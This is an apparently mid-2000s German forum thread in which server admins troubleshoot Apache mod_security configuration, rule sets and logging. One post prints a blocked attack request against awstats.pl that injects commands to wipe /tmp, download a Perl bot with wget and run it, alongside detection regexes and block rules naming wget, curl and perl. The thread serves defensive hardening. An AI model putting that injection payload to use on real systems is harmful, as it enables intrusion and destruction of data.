Mod-Security Rules

Rund um die Sicherheit des Systems und die Applikationen
lufthansen
Posts: 390
Joined: 2002-09-24 17:31
Location: NRW
 

Re: Mod-Security Rules

Post by lufthansen »

das prinzip finde ichzimelich genial vorallem wenn es automatisch läuft läuft so wäre man automatischen ein bißchen vor phpbb bugs geschützt, ABER man muss solchen regeln 100% vertrauen können, und ich glaube nicht das man das dakann :(
killerhorse
Posts: 78
Joined: 2004-06-16 03:33
 

Re: Mod-Security Rules

Post by killerhorse »

Hallo,

Hab mit jetzt auch modesecure installiert. Mit den Regeln hab ich noch nicht so wirklich den Durchblick. Hab jetzt einmal die hier geposteten verwendet. Dabei ist mir aufgefallen, dass es mit phpmyadmin Probleme gibt und zwar bei folgender Regel:

SecFilter "select.+from"

Wenn diese Regel aktiviert ist, ist es nicht möglich in phpmyadmin bei einer Datenbanktabelle auf "Browse" bzw. "Anzeigen" zu klicken.

Hat jemand eine Idee (ausser Regel deaktivieren)?

MfG

Christian
toberkel
Posts: 86
Joined: 2004-07-16 17:22
Location: Hamburg
Contact:
 

Re: Mod-Security Rules

Post by toberkel »

caput wrote:Jep, kann ich.. :)

Code: Select all

<IfModule mod_security.c>

    # Only inspect dynamic requests
    # (YOU MUST TEST TO MAKE SURE IT WORKS AS EXPECTED)
    # SecFilterEngine DynamicOnly

    # Turn the filtering engine On or Off
    SecFilterEngine On

    # Reject requests with status 404
    SecFilterDefaultAction "deny,log,status:404"

    # Some sane defaults
    SecServerResponseToken Off
    SecFilterScanPOST Off
    SecFilterCheckURLEncoding On
    SecFilterCheckCookieFormat On
    SecFilterCheckUnicodeEncoding Off

    # If you want to scan the output, uncomment these
    # SecFilterScanOutput On
    # SecFilterOutputMimeTypes "(null) text/html text/plain"

    # Accept almost all byte values
    SecFilterForceByteRange 1 255

    # Only record the interesting stuff
    SecAuditEngine RelevantOnly
    SecAuditLog /var/log/apache/audit_log

    # You normally won't need debug logging
    SecFilterDebugLevel 0
    SecFilterDebugLog /var/log/apache/modsec_debug_log

    # Include rules
    Include /etc/apache/modsecurity/filter.conf

</IfModule>
ich habe das genauso in meine httpd.conf übernommen und auch die filter.conf angelegt und die sachen reingeschrieben. habe den apache dann neugestartet. er legt auch in /var/log/apache eine audit_log an, aber egal welche anfragen ich stelle, auch mit wget drin, die audit_log bleibt leer.

hat einer eine idee woran das liegt?

Danke,

toberkel
caput
Posts: 48
Joined: 2005-06-08 02:06
 

Re: Mod-Security Rules

Post by caput »

Wie sieht dein Request denn aus? http://$host/wget? :x

Einfach mal die Boardsuche verwenden, gibt genug Beispiele mit was man Apache füttern kann. Ansonsten konfiguration nochmals checken.

http://www.rootforum.org/forum/viewtopi ... light=wget
http://www.rootforum.org/forum/viewtopi ... light=wget
http://www.rootforum.org/forum/viewtopi ... light=wget
http://www.rootforum.org/forum/search.php

:roll:
toberkel
Posts: 86
Joined: 2004-07-16 17:22
Location: Hamburg
Contact:
 

Re: Mod-Security Rules

Post by toberkel »

nein. ich habe auszüge aus meinen logdateien benutzt wo versucht wurde über awstats.pl eine datei zu laden. aber audit_log bleibt leer. setup sollte ok sein.

toberkel
killerhorse
Posts: 78
Joined: 2004-06-16 03:33
 

Re: Mod-Security Rules

Post by killerhorse »

Hallo,

Also wenn DUualles wo wget vorkommt z.B. http://www.deineDomain.de/blabla-wget verbieten willst, dann gibt doch mal bei den Regeln

"SecFilter wget"

ein.

MfG

CHristian
caput
Posts: 48
Joined: 2005-06-08 02:06
 

Re: Mod-Security Rules

Post by caput »

toberkel wrote:nein. ich habe auszüge aus meinen logdateien benutzt wo versucht wurde über awstats.pl eine datei zu laden. aber audit_log bleibt leer. setup sollte ok sein.

toberkel
Und wie bitte sehen deine Auszüge von deinen Logs aus? :roll:
Teste doch einfach mal mit den Resultaten der Boardsuche ob Mod Security überhaupt funktioniert, was aus deinen Post nicht so recht klar wird.

Meinst du solche Request bezüglich awstats?

Code: Select all

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
========================================
UNIQUE_ID: QuE@8Nmg3BwAAEHeht8
Request: 83.137.103.70 - - [22/Jul/2005:20:46:08 +0200] "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;wget%20www.members.lycos.co.uk/xxxxxxxxx/ramona;perl%20ramona;echo%20;rm%20-rf%20ramona*;echo| HTTP/1.1" 404 295
Handler: cgi-script
----------------------------------------
GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;wget%20www.members.lycos.co.uk/xxxxxxxxx/ramona;perl%20ramona;echo%20;rm%20-rf%20ramona*;echo| HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: Close
Host: 217.160.220.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
mod_security-message: Access denied with code 404. Pattern match "(perl|t?ftp|links|elinks|lynx|ncftp|(s|r)(cp|sh)|wget|curl|cvs|svn).*x20((http|https|ftp):/|[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}|.*[A-Za-z|0-9].[a-zA-Z]{2,4}/)" at THE_REQUEST.
mod_security-action: 404
toberkel
Posts: 86
Joined: 2004-07-16 17:22
Location: Hamburg
Contact:
 

Re: Mod-Security Rules

Post by toberkel »

genau solche lgauszüge meine ich. hab fast genau den gleichen bei mir drine.

habe mit den beispielen von dir auch getestet... nix... audit_log bleibt leer.

toberkel
chaosad
Posts: 137
Joined: 2005-05-06 15:48
 

Re: Mod-Security Rules

Post by chaosad »

wurde der apache denn neugestartet nachdem die config eingetragen wurde?

edit: an einer Lösung für phpmyadmin wär ich auch interessiert *g*
caput
Posts: 48
Joined: 2005-06-08 02:06
 

Re: Mod-Security Rules

Post by caput »

chaosad wrote:wurde der apache denn neugestartet nachdem die config eingetragen wurde?

edit: an einer Lösung für phpmyadmin wär ich auch interessiert *g*
Du kannst die betroffe Regel entweder deaktivieren oder für den jeweiligen Vhost separate Regelsätze anlegen. Musst halt entscheiden zwischen Security und Usability. Das Problem bei solchen Regelsätzen ist halt, du kannst sie so konstruieren, dass entweder ein möglichst grosses Gebiet abdeckt wird mit einem kurzem Regelsatz womit aber die false detection steigt oder mit einem langen und total unübersichtlichen Regelsatz (wie zum Beispiel die Regelsätze von gotroot.com) wodurch natürlich die false detection geringer ist, was aber verdammt auf die Performance geht wenn Mod Security pro Request den ganzen Regelsatz einmal durchgeht (was sich auch sehr gut nachvollziehen lässt wenn man mal das debug loggin auf die höchste Stufe stellt).

Back to Topic, ich handhabe es im moment so das ich alle wichtigen Sachen unter einen SSL Vhost habe (phpMyAdmin, SysCP, Webmailer..) und dort Mod Security deaktiviert zumal weil ich dort auch die Kontrolle hab was für Versionen da laufen und diese auch updaten kann. :wink:
lufthansen
Posts: 390
Joined: 2002-09-24 17:31
Location: NRW
 

Re: Mod-Security Rules

Post by lufthansen »

hmm meine audit log wird auch nicht angelegt, die debug schon aber in der apache error.log finde ich die mod_sec einträge ...
lufthansen
Posts: 390
Joined: 2002-09-24 17:31
Location: NRW
 

Re: Mod-Security Rules

Post by lufthansen »

ich glaube ...
SecAuditEngine RelevantOnly
das das das entscheidene war ...
aber keine garantie ...
xtramen
Posts: 90
Joined: 2005-08-07 14:27
 

Re: Mod-Security Rules

Post by xtramen »

Sorry aber bekomme dauernd irgendwelche Fehler beim Neustart des Servers:


Syntax error on line 86 of /etc/apache2/sysconfig.d/mod_security.conf:
Invalid regular expression: cmd=(cd|\;|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks |cmd|pwd|wget|id|


Ich hab jetzt schon 2 Regeln entfernt aber die Meldungen kommen immer wieder:

Tipp??
caput
Posts: 48
Joined: 2005-06-08 02:06
 

Re: Mod-Security Rules

Post by caput »

xTraMen wrote:Sorry aber bekomme dauernd irgendwelche Fehler beim Neustart des Servers:


Syntax error on line 86 of /etc/apache2/sysconfig.d/mod_security.conf:
Invalid regular expression: cmd=(cd|\;|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks |cmd|pwd|wget|id|


Ich hab jetzt schon 2 Regeln entfernt aber die Meldungen kommen immer wieder:

Tipp??
Tipp? Kein stupides Copy&Paste betreiben wenn du nicht mal in der Lage bist die Infos im Codeblock zu lesen. :roll:
jeti-power
Posts: 23
Joined: 2003-04-06 22:02
 

Re: Mod-Security Rules

Post by jeti-power »

caput wrote: Back to Topic, ich handhabe es im moment so das ich alle wichtigen Sachen unter einen SSL Vhost habe (phpMyAdmin, SysCP, Webmailer..) und dort Mod Security deaktiviert zumal weil ich dort auch die Kontrolle hab was für Versionen da laufen und diese auch updaten kann. :wink:
hmm, ja, das wäre wirklich die beste Lösung. Muss halt nur schauen, wie man sowas seinen Kunden nahebringen kann ;-)
Aber ein SetFilterEngine Off ist für seperate Vhosts nicht wirklich das Problem.

Gruss,
jeti-power
legato
Posts: 115
Joined: 2004-06-03 12:40
 

für einen vHost deaktivieren

Post by legato »

Hallo,

hier im Thread wurde gesagt man können die Filterung auch für einen vHost deaktivieren.

Wie?

Ein schnelles

Code: Select all

<IfModule mod_security.c>
    SecFilterEngine Off
</IfModule>
zeigte keine Ã?nderung... :roll:
blnsnoopy26
Posts: 660
Joined: 2002-10-19 14:01
 

Re: Mod-Security Rules

Post by blnsnoopy26 »

Legato wrote:Naja, einen ganz simplen Test kannst mit

http://www.deine-url.tld/verbotenes-wort-wie-wget

machen. Dann sollte je nach Konfiguration ein 403 und ein entsprechender Log Eintrag vorhanden sein.
Hi,

Habe mir das auch mal eingebaut und bei mir läuft es absolut nicht.
Es wird nicht einmal eine logdatei geschrieben, wie in der modulconf angegeben. bekomme zwar ein 403 oder wenn ich index.php?cmd=wget etc mache passiert auch null.

mod_security wird aber geladen und apache meckert da nicht beim start. Woran kann es liegen das keine log geschrieben wird?

Benutze die regl und conf aus den posts hier.

Kann mir da einer rat geben??
giffi
Posts: 140
Joined: 2003-05-17 14:52
 

Re: Mod-Security Rules

Post by giffi »

Funktioniert bei mir leider auch nicht...

System: SuSE 9.3
Apache 2
Plesk 7.5.4

Es werden keine Log-Dateien angelegt.

Auszug aud der /etc/apache2/httpd.conf

Code: Select all

Include /etc/apache2/sysconfig.d/loadmodule.conf
<IfModule security_module>

    # Only inspect dynamic requests
    # (YOU MUST TEST TO MAKE SURE IT WORKS AS EXPECTED)
    # SecFilterEngine DynamicOnly

    # Turn the filtering engine On or Off
    SecFilterEngine On

    # Reject requests with status 404
    SecFilterDefaultAction "deny,log,status:404"

    # Some sane defaults
    SecServerResponseToken Off
    SecFilterScanPOST Off
    SecFilterCheckURLEncoding On
    SecFilterCheckCookieFormat On
    SecFilterCheckUnicodeEncoding Off

    # If you want to scan the output, uncomment these
    # SecFilterScanOutput On
    # SecFilterOutputMimeTypes "(null) text/html text/plain"

    # Accept almost all byte values
    SecFilterForceByteRange 1 255

    # Only record the interesting stuff
    #SecAuditEngine RelevantOnly
    SecAuditLog /var/log/apache2/audit_log

    # You normally won't need debug logging
    SecFilterDebugLevel 10
    SecFilterDebugLog /var/log/apache2/modsec_debug_log

    # Include rules
    Include /etc/apache2/modsecurity/filter.conf

</IfModule>
Include /etc/apache2/sysconfig.d/loadmodule.conf

Code: Select all

#
# Files in this directory are created at apache start time by /usr/sbin/rcapache2.
# Do not edit them!
#

# as listed in APACHE_MODULES (/etc/sysconfig/apache2)

LoadModule access_module                  /usr/lib/apache2-prefork/mod_access.so
LoadModule actions_module                 /usr/lib/apache2-prefork/mod_actions.so
LoadModule alias_module                   /usr/lib/apache2-prefork/mod_alias.so
LoadModule auth_module                    /usr/lib/apache2-prefork/mod_auth.so
LoadModule auth_dbm_module                /usr/lib/apache2-prefork/mod_auth_dbm.so
LoadModule autoindex_module               /usr/lib/apache2-prefork/mod_autoindex.so
LoadModule cgi_module                     /usr/lib/apache2-prefork/mod_cgi.so
LoadModule dir_module                     /usr/lib/apache2-prefork/mod_dir.so
LoadModule env_module                     /usr/lib/apache2-prefork/mod_env.so
LoadModule expires_module                 /usr/lib/apache2-prefork/mod_expires.so
LoadModule include_module                 /usr/lib/apache2-prefork/mod_include.so
LoadModule log_config_module              /usr/lib/apache2-prefork/mod_log_config.so
LoadModule mime_module                    /usr/lib/apache2-prefork/mod_mime.so
LoadModule negotiation_module             /usr/lib/apache2-prefork/mod_negotiation.so
LoadModule setenvif_module                /usr/lib/apache2-prefork/mod_setenvif.so
LoadModule ssl_module                     /usr/lib/apache2-prefork/mod_ssl.so
LoadModule userdir_module                 /usr/lib/apache2-prefork/mod_userdir.so
LoadModule php4_module                    /usr/lib/apache2-prefork/libphp4.so
LoadModule perl_module                    /usr/lib/apache2/mod_perl.so
LoadModule suexec_module                  /usr/lib/apache2-prefork/mod_suexec.so
LoadModule security_module                /usr/lib/apache2/mod_security.so
#
mod_security.so befindet sich auch in dem Verzeichnis


Giffi
manarak
Posts: 86
Joined: 2004-04-04 17:23
 

False positives

Post by manarak »

Hallo

Ich habe auch mod_security am laufen, bin sehr zufrieden, ausser dass ich ein Paar "false Positives" habe.

Die werden mit
pattern match "<.+>" at header
ausgewiesen.

Hat jemand eine Idee, welche Rule das verursacht, und wie man es besser machen könnte?
blackbird
Posts: 22
Joined: 2006-02-05 09:54
 

Re: Mod-Security Rules

Post by blackbird »

Hi,

Mein Linuxsystem: Debian 3.1

Ich habe bei mir mod_secure installiert und es scheint auch alles zu funktionieren, oder besser gesagt "zu viel", oder "das falsche", denn ich bekomme eine Fehlermeldung beim "anklicken" z.B.: der Websitevorschaufunktion auf der Domainebene in Plesk:

https://server_url:8443/sitepreview/http/meinedomain.de/?previous_page=dom_ctrl

Fehler:

Server error!

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.

If you think this is a server error, please contact the webmaster.
Error 500
Sat Feb 4 02:08:49 2006
IIS 2.0 (just kidding)

Ich verwende das "Muster" config-File: "httpd2.conf.example-full"--- das in: "/usr/share/doc/libapache2-mod-security/examples/" zu finden ist...

Ich habe es auch versucht gegen das von: "http://www.gotroot.com" auszutauschen, aber da bekomme ich eine Fehlermeldung:

server11:/etc/apache2/conf.d# /etc/init.d/apache2 restart
Forcing reload of web server: Apache2Syntax error on line 36 of /etc/modsecurity/rules.conf:
Unknown mod_security action "rev:1"

Dabei kenne ich mich nicht aus, wie man diese ".conf"-Datei bearbeitet-- bzw.: es scheint auf den ersten blick alles OK zu sein...


Grüße,
blackbird
caput
Posts: 48
Joined: 2005-06-08 02:06
 

Re: Mod-Security Rules

Post by caput »

blackbird wrote:Mein Linuxsystem: Debian 3.1
..
server11:/etc/apache2/conf.d# /etc/init.d/apache2 restart
Forcing reload of web server: Apache2Syntax error on line 36 of /etc/modsecurity/rules.conf:
Unknown mod_security action "rev:1"
Lass mich raten: Du hast hast von ModSecurity gehört, dich damit nur kurz befasst und blind irgendwelche Rules-Sets für ModSecurity wild kopiert in der Hoffnung es wird schon funktionieren. Voraussetzung für das gotroot.com Rules-Set ist ModSecurity 1.9.x und höher, was im Debian Stable Bereich nicht der Fall ist. :roll:

Mal eine ganz unwissende Frage: Bringt Plesk nicht seinen "eigenen" Indianer mit? Wenn ja, warum willst du dort ModSecurity einsetzen?
der kleine tux
Posts: 97
Joined: 2005-10-29 04:12
Location: Planet Erde
 

Re: Mod-Security Rules

Post by der kleine tux »

morgen,
Voraussetzung für das gotroot.com Rules-Set ist ModSecurity 1.9.x und höher, was im Debian Stable Bereich nicht der Fall ist
und das soll heissen das ich das unmögliche geschaft habe ?
Mal eine ganz unwissende Frage: Bringt Plesk nicht seinen "eigenen" Indianer mit? Wenn ja, warum willst du dort ModSecurity einsetzen?
genau deswegen höre ich jetzt auf zu schreiben aber ich glaub du musst dich noch ein wenig damit auseinander setzen

gruss
blackbird
Posts: 22
Joined: 2006-02-05 09:54
 

Re: Mod-Security Rules

Post by blackbird »

Hallo kleiner Tux!,
und das soll heissen das ich das unmögliche geschaft habe ?
Würdest Du mir verraten "wie?"
hast Du auch diesen (einen, oder mehrere) Fehler (schau oben) bekommen?
Wie hast Du sie/ihn behoben?
Funktioniert bei Dir alles einwandfrei?
Ich nehme an, Du hast Debian 3.1?

Ja, das wären ja aber schon alle Fragen ;-)

thx,
blackbird
danu
Posts: 264
Joined: 2005-02-02 11:15
 

guten morgen

Post by danu »

bei mir funktionierts auch

Suse 9.1
PLESK 7.5.4

Die eine Hürde war, ich musste apache2-devel neu installieren. War irgendwie zerschossen. Hinterher funktionierte "apxs -cia mod_security-x-x-x.c"

Es gibt Fragen, welche zum Ziel führen.
Wie lädt Apache seine Module? Dies zu verstehen, wäre schon die halbe Miete.
blackbird
Posts: 22
Joined: 2006-02-05 09:54
 

Re: Mod-Security Rules

Post by blackbird »

Morgen,

also unter Susi soll es angeblich noch kompliesierter sein als unter Debian-- danu eine Frage: welche .conf Datei verwendest Du??
Post Reply